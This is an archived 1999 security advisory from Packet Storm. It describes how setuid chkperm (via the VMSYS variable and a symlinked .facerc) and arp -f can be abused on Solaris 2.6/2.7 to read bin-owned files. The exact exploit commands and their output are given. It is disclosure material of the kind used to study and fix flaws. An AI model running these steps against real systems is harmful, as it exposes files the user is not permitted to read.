what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

solaris.chkperm+arp.txt

solaris.chkperm+arp.txt
Posted Dec 2, 1999
Authored by Brock Tellier

/usr/vmsys/bin/chkperm and /usr/sbin/arp can be used to read bin-owned files. Tested on Solaris 2.6 and 2.7, sparc edition.

tags | exploit
systems | solaris
SHA-256 | f90b3fcc752af63f6b5d54d3b5905eca70e3ace2ce6af776755dca4e9c75ee57

solaris.chkperm+arp.txt

Change Mirror Download
Greetings,

OVERVIEW
/usr/vmsys/bin/chkperm and /usr/sbin/arp can be used to read bin-owned files.

BACKGROUND
All my testing was done on Solaris 2.7 and 2.6 SPARC edition.

DETAILS

Vuln #1 - chkperm
This one isn't nearly as interesting as the instant-shell variety. Here's how
it works:

chkperm is suid/sgid bin as shown:
bash-2.02$ ls -la /usr/vmsys/bin/chkperm
-rwsr-sr-x 1 bin bin 10080 Sep 1 1998 /usr/vmsys/bin/chkperm


/etc/bin is a bin/bin owned file mode 660 (thus shouldn't be readable by me)
as shown:
bash-2.02$ ls -la /etc/bin
-rw-rw---- 1 bin bin 45 Nov 15 16:44 /etc/bin


the exploit goes as follows:



bash-2.02$ export VMSYS=/usr/home/btellier
bash-2.02$ mkdir lib
bash-2.02$ chmod 777 lib
bash-2.02$ ln -s /etc/bin lib/.facerc
bash-2.02$ /usr/vmsys/bin/chkperm -l
seekret1
seekret2
seekret3
seekret4
seekr
bash-2.02$

As we can see, it cuts off the last line of five total for some reason. The
meat of this exploit is the fact that chkperm allows you to supply the
directory it will write known file names with VMSYS, a big no-no. I've not
been able to get chkperm to either a. change the permissions of an existing
bin-owned file or b. create a bin-owned file other than .facerc, though this
can be created anywhere on the filesystem via export VMSYS=/etc or some such
command.

This exploit is sort-of a variation on the old chkperm exploit which allowed
.facerc to be linked to /usr/bin/.rhosts. That particular problem was fixed,
but this one was left behind.

Vuln #2 - arp

Just as the first, you may read any bin owned files:
bash-2.02$ ls -la /etc/bin
-rw-rw---- 1 bin bin 45 Nov 15 16:44 /etc/bin
bash-2.02$ cat /etc/bin
cat: cannot open /etc/bin
bash-2.02$ /usr/sbin/arp -f /etc/bin
arp: bad line: seekret1

arp: bad line: seekret2

arp: bad line: seekret3

arp: bad line: seekret4

arp: bad line: seekret5

bash-2.02$

DISCUSSION
Now I, just as you probably are, am wondering how this slight bug might be
upgraded or combined to become more severe. I can't think of any situation
where we have bin-owned files unreadable that contain sensitive information
(considering that we can't overwrite the files, or execute them or change the
modes, all we can do is read plaintext). Maybe one of the bugtraq readers has
some old exploit lying around that required the reading of a bin owned file in
order to work. Or something.

Brock Tellier
UNIX Systems Administrator
btellier@usa.net
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close